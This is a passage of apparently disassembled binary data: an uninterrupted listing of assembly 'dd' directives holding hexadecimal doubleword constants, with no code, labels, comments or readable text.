		dd 71DC5D11h, 9121637h,	5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh
		dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h
		dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch
		dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h,	31AFBAAh
		dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh
		dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h,	3C110822h
		dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh
		dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh
		dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h
		dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh,	2115430h
		dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h,	80D641D4h
		dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h
		dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h,	0AC1C8273h
		dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh,	0EC733BD7h
		dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h
		dd 42F538D8h, 77C6F4Bh,	2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh
		dd 22E2FE99h, 1F470AC3h
		dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h
		dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h
		dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h
		dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h
		dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h,	53090BAAh
		dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h
		dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah
		dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h
		dd 0FE0097Bh, 446B528h,	0E5A27B37h, 0D575E303h,	0A06F7061h
		dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h
		dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh,	0DA32FF86h
		dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h
		dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh
		dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh
		dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh
		dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h
		dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh
		dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h
		dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh,	2BAD5510h
		dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h
		dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h
		dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h,	9C6806B9h
		dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h
		dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h,	0AD46C76Ah
		dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h,	0BC6177ADh
		dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h
		dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh
		dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh
		dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h
		dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh
		dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh
		dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h
		dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh
		dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh
		dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h
		dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh
		dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h
		dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h,	568C3A9Ah
		dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h
		dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh
		dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h
		dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh,	40D216F9h
		dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h
		dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h,	14B1D910h
		dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h,	487C0BBBh
		dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h
		dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch
		dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h,	0ED432832h
		dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h
		dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h,	958822C5h
		dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h,	7CEF499Ch
		dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh,	4CA85B13h
		dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h
		dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh,	0F378E5C3h
		dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh
		dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh
		dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh
		dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h
		dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh
		dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h
		dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh
		dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h
		dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h,	2D262ABFh
		dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch
		dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h
		dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h,	6C59C32Eh
		dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h
		dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h,	0EC6BD944h
		dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h
		dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h
		dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh
		dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh
		dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h
		dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h
		dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h
		dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh
		dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h,	86279056h
		dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh,	0B09946ECh
		dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh,	5EB1ABADh
		dd 6DD2E80h, 1B46AF94h,	6DD200F9h, 7DBE1BFEh, 9D94C5CFh
		dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h
		dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh
		dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h
		dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h
		dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h,	0A348B619h
		dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch,	6FD848C8h
		dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h
		dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h,	42A0DE16h
		dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch,	0C40D20D2h
		dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch,	0BFE8A1B8h
		dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah
		dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh
		dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h,	34CA3AA9h
		dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h,	98749CBh
		dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h,	0CC718E39h
		dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h
		dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h
		dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h,	55BFB124h
		dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh,	5FC263D5h
		dd 8DED98E1h, 3FD6E52h,	39AF2096h, 0D04DF73Ch, 28E5D371h
		dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h,	6A1CC17Fh
		dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h
		dd 7CBB07B2h, 7EBDFD30h
		dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h
		dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h
		dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h,	0C4CFD79Eh
		dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh
		dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h,	77ADDBE4h
		dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h
		dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h,	5BA435D4h
		dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh,	0B655F5E6h
		dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h
		dd 4D8E171h, 66F37DF9h,	6BED76FEh, 50AFD214h, 0BE7828CDh
		dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h,	0E0AAA0DCh
		dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h
		dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h,	0F6972B46h
		dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h,	0D54FCB83h
		dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh
		dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h,	1E6B03EFh
		dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh
		dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h
		dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh
		dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh
		dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h,	56C016FAh
		dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah
		dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh
		dd 75C7C11h, 66DF61C0h,	6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh
		dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h
		dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h
		dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh
		dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh,	7D1BB60Fh
		dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah,	0FCC995C7h
		dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh,	95315637h
		dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h,	95B852B2h
		dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h
		dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h,	6D8F4A57h
		dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h
		dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h,	0BFF300EDh
		dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h
		dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h,	47A5669Fh
		dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h
		dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h
		dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h
		dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h,	0A0BA5F69h
		dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh,	0DBAE67EAh
		dd 704D62Ah, 8B4CA667h,	7A6AECBh, 8FD0101Eh, 55378FF1h
		dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h,	4C94548Ah
		dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h
		dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh
		dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh
		dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah
		dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h
		dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h
		dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h
		dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh,	735C810h
		dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h
		dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h,	95C97F46h
		dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh,	2B73783Ch
		dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h
		dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh,	0A40DAFC3h
		dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h,	396F0094h
		dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h
		dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h
		dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h,	0F72D3F62h
		dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h,	13F0D06h
		dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h,	8725376Bh
		dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h,	3D518DDDh
		dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h
		dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h
		dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh
		dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h,	65B7B608h
		dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h
		dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh
		dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h
		dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch,	8F33B0E6h
		dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h
		dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h,	0FE0FFD40h
		dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h
		dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h,	60C5E27Ah
		dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h
		dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh,	0D0192513h
		dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh
		dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh,	0C78EB071h
		dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh
		dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h
		dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h,	810B4911h
		dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h
		dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h,	0A6C5F312h
		dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h
		dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h,	9493BD82h
		dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh
		dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h
		dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh,	45DB0A6Ah
		dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh
		dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h
		dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh
		dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh
		dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h
		dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch
		dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h
		dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h,	0E34BE7DEh
		dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h
		dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h,	0B77780F2h
		dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh,	0AF572ECBh
		dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h
		dd 12AA945Eh, 4FF0D18Eh
		dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h,	0CB660DC1h
		dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h
		dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h,	661C9572h
		dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh
		dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h,	4BC7AFB7h
		dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h
		dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h
		dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh
		dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h
		dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh
		dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh
		dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h
		dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah
		dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h
		dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h
		dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch,	17CA90D1h
		dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah,	0F662BD3h
		dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h
		dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh
		dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h
		dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh
		dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h,	9942F871h
		dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h
		dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h,	8A33C9A6h
		dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh
		dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h
		dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h
		dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h
		dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h
		dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh
		dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h
		dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh
		dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h
		dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh
		dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h,	2A6AC259h
		dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh,	4833350Ah
		dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh,	0EA70EA67h
		dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h,	683C83CCh
		dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h
		dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h
		dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h,	91685DD8h
		dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch
		dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh
		dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h
		dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh
		dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh
		dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh,	0CA06E2A1h
		dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh
		dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh
		dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h,	0E2F83E67h
		dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h,	1917DD80h
		dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh
		dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh
		dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah
		dd 2A424FFCh, 23365E8h,	0BEA5DB45h, 3942B862h, 9BF9958h
		dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h,	3A333254h
		dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h
		dd 6D0254Ah, 60D35D6Dh,	274AA930h, 0CED921D7h, 9F8477DAh
		dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh,	0AF9F5DC5h
		dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h,	8F40295Ah
		dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h
		dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h,	0C6B87BF9h
		dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh
		dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh
		dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh
		dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h,	36D9CFD7h
		dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h,	588BEFA9h
		dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah,	3F44F6D7h
		dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh
		dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh
		dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch
		dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h,	13D35286h
		dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh
		dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h
		dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh
		dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh,	0D2CF4917h
		dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh
		dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h,	0F354F58Eh
		dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh
		dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh,	3EA4E4B2h
		dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh
		dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h
